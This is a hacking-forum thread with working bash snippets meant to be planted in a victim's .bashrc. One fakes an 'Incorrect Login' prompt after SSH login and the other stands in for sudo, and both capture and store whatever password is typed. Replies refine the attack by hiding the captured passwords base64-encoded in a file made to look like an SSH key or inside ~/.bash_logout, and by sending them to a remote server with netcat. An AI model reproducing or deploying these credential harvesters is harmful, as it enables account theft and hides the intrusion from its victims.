Getting passwords with a simple (SE) attack

Getting passwords with a simple (SE) attack - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Getting passwords with a simple (SE) attack (/Thread-Getting-passwords-with-a-simple-SE-attack)

Getting passwords with a simple (SE) attack - Blink - 02-26-2017

A little while ago, I came up with a two of these attacks:

Te first is on SSH, to grab passwords from logins:

Code:
if [[ -n $SSH_CONNECTION ]] ; then
    exec echo 'Incorrect Login.'
    exec echo -n 'Password:'
    exec read -s PASS
    exec echo $PASS >> passfile
    exec sh
fi

When added to the .bashrc, it makes it seem as though the user entered their password wrong and asks again, then grabs the pass. It can be used in doppleganger domains, accounts that have been compromized without having password, and other things. You can switch it up a bit to ask for username or whatever.

The second attack is on sudo:

Code:
alias sudo=echo -n "[sudo] password for $USER:" && read -s PASS && echo $PASS >> passfilefile && echo "" && echo "Sorry, try again." && sudo

This one should also be dropped into bashrc. It pretends to be sudo but grabs the password.

This was just to get you guys to think about creative attacks like these.
Another one would be to have something like "Incorrect login" when at login, and ask for the password, of course this one only works for CLI logins.

Hope this got you guys thinking!

PS: Don't scream at me if this sucked, I'm in a rush and just felt like sharing this with you guys.

RE: Getting password for a user account you hav access to with a simple (SE) attack - phyrrus9 - 02-26-2017

@Ender these are actually not that bad. Not really outside the box either, but they would get the job done (would surely fool me). Just a couple things though.

1. in the first example, you have

Code:
exec exho $PASS > passfile

which would immediately alert me of the "attack", because bash would tell me

Code:
- bash: exec: exho: not found

you should probably fix that spelling issue...

Secondly, you're stuffing the password files right in plain view...and you're naming them WAY TOO DESCRIPTIVELY
if this is really "social engineering", you should name them something that would make me (if I found them, and I will) believe they were something else..

A file that is likely rarely (or never, in my case) is ~/.bash_logout
this file is executed when bash encounters an exit command (window manager close won't trigger it), and is a normal shell script. You could consider modifying that script to

Code:
if [[ -n $SSH_CONNECTION ]] ; then
   exec echo 'Incorrect Login.'
   exec echo -n 'Password:'
   exec read -s PASS
   exec echo "# $PASS" >> $HOME/.bash_logout
   exec sh
fi

or...if you wanted to go even deeper making sure it's difficult to find, obfuscate it a little and make it look like data that's intended to be there

Code:
if [[ -n $SSH_CONNECTION ]] ; then
   exec echo 'Incorrect Login.'
   exec echo -n 'Password:'
   exec read -s PASS
   exec mkdir -p $HOME/.ssh
   exec echo "`date` $USER $PASS" | base64 >> $HOME/.ssh/.id_remote.rsa
   exec sh
fi

example:

aside from that, it all looks fine.... if you got really crazy, you could do something like encoding a file that would create a script with your exploit in it (in /tmp), call source on the script, then delete it...

RE: Getting password for a user account you hav access to with a simple (SE) attack - Blink - 02-26-2017

(02-26-2017, 10:34 AM)phyrrus9 Wrote: Secondly, you're stuffing the password files right in plain view...and you're naming them WAY TOO DESCRIPTIVELY

Oops.... Missed the spelling.
I actually had it send the password using netcat to a remote server instead of storing the password in a file, but I just wanted to keep the post simple and let you guys do the modifications.